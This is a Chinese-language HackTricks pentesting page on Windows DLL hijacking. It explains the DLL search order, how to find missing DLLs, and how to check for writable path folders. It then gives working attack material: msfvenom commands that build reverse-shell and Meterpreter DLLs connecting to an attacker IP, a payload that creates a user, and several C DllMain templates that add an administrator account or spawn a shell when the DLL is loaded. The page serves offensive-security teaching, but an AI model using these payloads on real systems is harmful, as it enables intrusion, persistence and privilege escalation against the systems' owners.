16 KiB
DLL劫持
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
如果你对黑客职业感兴趣并想要攻破不可攻破的目标 - 我们正在招聘!(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
定义
首先,让我们先了解一下定义。DLL劫持是指以最广义的意义上,欺骗一个合法/可信的应用程序加载任意DLL。术语如_DLL搜索顺序劫持_、DLL加载顺序劫持、DLL欺骗、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
DLL劫持可以用于执行代码、获取持久性和提升权限。在这三种情况中,最不可能发现的是提升权限。然而,由于这是特权提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
类型
有多种方法可供选择,成功与否取决于应用程序配置加载所需DLL的方式。可能的方法包括:
- DLL替换:用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用[2],以确保原始DLL的所有功能保持完整。
- DLL搜索顺序劫持:应用程序指定的没有路径的DLL按照特定顺序在固定位置进行搜索[3]。通过将恶意DLL放在实际DLL之前进行搜索顺序劫持。这有时包括目标应用程序的工作目录。
- 幻影DLL劫持:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL[4]。
- DLL重定向:更改DLL的搜索位置,例如通过编辑
%PATH%
环境变量或.exe.manifest
/.exe.local
文件以包含包含恶意DLL的文件夹[5, 6]。 - WinSxS DLL替换:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载[7]。
- 相对路径DLL劫持:将合法应用程序复制(并可选地重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行[8]有相似之处。这种方法的变体有点自相矛盾,被称为“bring your own LOLbin”[9],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
查找缺失的DLL
在系统中查找缺失的DLL的最常见方法是运行procmon,设置以下2个过滤器:
然后只显示文件系统活动:
如果你正在寻找一般缺失的DLL,你可以让它运行几秒钟。
如果你正在寻找特定可执行文件中缺失的DLL,你应该设置另一个过滤器,如"进程名称" "包含" "<exec name>",执行它,并停止捕获事件。
利用缺失的 DLL 进行提权
为了提升权限,我们最好的机会是能够编写一个特权进程将尝试加载的 DLL。因此,我们将能够在某个将被搜索的位置编写一个 DLL,该位置在原始 DLL 所在的文件夹之前(奇怪的情况),或者我们将能够在某个将被搜索的文件夹中编写一个 DLL,而原始 DLL 在任何文件夹中都不存在。
DLL 搜索顺序
您可以在Microsoft 文档中找到 DLL 的加载方式。
一般来说,Windows 应用程序将使用预定义的搜索路径来查找 DLL,并按特定顺序检查这些路径。 DLL 劫持通常是通过将恶意 DLL 放置在其中一个文件夹中,同时确保在找到合法 DLL 之前找到该 DLL 来实现的。通过让应用程序指定所需 DLL 的绝对路径,可以缓解此问题。
您可以在 32 位系统上查看 DLL 搜索顺序如下:
- 应用程序加载的目录。
- 系统目录。使用 GetSystemDirectory 函数获取此目录的路径。(C:\Windows\System32)
- 16 位系统目录。没有获取此目录路径的函数,但会进行搜索。(C:\Windows\System)
- Windows 目录。使用 GetWindowsDirectory 函数获取此目录的路径。(C:\Windows)
- 当前目录。
- 列在 PATH 环境变量中的目录。请注意,这不包括由 App Paths 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时,不使用 App Paths 键。
这是启用 SafeDllSearchMode 的默认搜索顺序。当禁用此功能时,当前目录将升至第二位。要禁用此功能,请创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,并将其设置为 0(默认启用)。
如果使用 LoadLibraryEx 函数调用 LOAD_WITH_ALTERED_SEARCH_PATH,则搜索将从 LoadLibraryEx 加载的可执行模块的目录开始。
最后,请注意,DLL 可以通过指定绝对路径而不仅仅是名称来加载。在这种情况下,该 DLL 仅在该路径中搜索(如果 DLL 有任何依赖项,则将按名称搜索)。
还有其他改变搜索顺序的方法,但我不会在这里解释它们。
Windows 文档中的 DLL 搜索顺序异常
- 如果已在内存中加载了具有相同模块名称的 DLL,则系统在解析到已加载的 DLL 之前,仅检查重定向和清单。系统不会搜索该 DLL。
- 如果 DLL 在应用程序运行的 Windows 版本的已知 DLL 列表上,系统将使用其已知 DLL 的副本(以及已知 DLL 的依赖 DLL,如果有的话),而不是搜索该 DLL。有关当前系统上已知 DLL 的列表,请参阅以下注册表键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。
- 如果 DLL 有依赖项,系统将按照它们仅使用其模块名称加载的方式搜索依赖 DLL。即使第一个 DLL 是通过指定完整路径加载的,这也是正确的。
提升权限
先决条件:
- 找到一个以其他权限(水平/横向移动)运行/将要运行的进程,该进程缺少一个 DLL。
- 在将要搜索 DLL 的任何文件夹上具有写权限(可能是可执行文件目录或系统路径中的某个文件夹)。
是的,要满足这些先决条件很复杂,因为默认情况下很难找到一个缺少 DLL 的特权可执行文件,而且在系统路径文件夹中默认情况下无法获得写权限。但是,在配置错误的环境中,这是可能的。
如果您幸运地发现自己满足了这些要求,您可以查看 UACME 项目。即使该项目的主要目标是绕过 UAC,您可能会在那里找到一个适用于您所使用的 Windows 版本的 DLL 劫持的 PoC(可能只需更改您具有写权限的文件夹的路径)。
请注意,您可以通过执行以下操作检查文件夹中的权限:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
并检查路径中所有文件夹的权限:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
您还可以使用以下命令检查可执行文件的导入项和动态链接库的导出项:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
要了解如何滥用Dll劫持以提升权限并具有在系统路径文件夹中写入权限的完整指南,请查看:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
自动化工具
Winpeas将检查您是否具有对系统路径中任何文件夹的写入权限。
其他有趣的自动化工具来发现此漏洞是PowerSploit函数:Find-ProcessDLLHijack,Find-PathDLLHijack_和_Write-HijackDll。
示例
如果您找到了一个可利用的场景,成功利用它的最重要的事情之一将是创建一个导出至少所有可执行文件将从中导入的函数的dll。无论如何,请注意,Dll劫持在从中间完整性级别升级到高级(绕过UAC)或从高级升级到SYSTEM方面非常方便。您可以在此dll劫持研究中找到一个创建有效dll的示例,该研究专注于用于执行的dll劫持:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
此外,在下一节中,您可以找到一些可能有用作模板或创建具有非必需导出函数的dll的基本dll代码。
创建和编译Dlls
Dll代理化
基本上,Dll代理是一种能够在加载时执行恶意代码的Dll,但也能够通过将所有调用传递给真实库来作为预期的方式公开和工作。
使用工具****DLLirant****或****Spartacus****,您实际上可以指定一个可执行文件并选择要代理化的库,然后生成一个代理化的dll,或者指定Dll并生成一个代理化的dll。
Meterpreter
获取反向shell(x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
获取一个meterpreter(x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
创建一个用户(x86 我没有看到 x64 版本):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
你自己的
请注意,在多种情况下,你编译的 Dll 必须导出多个函数,这些函数将由受害进程加载,如果这些函数不存在,二进制文件将无法加载它们,从而导致攻击失败。
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
如果你对黑客职业感兴趣并想要攻破不可攻破的系统 - 我们正在招聘!(需要流利的波兰语书写和口语能力)。
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品 - The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。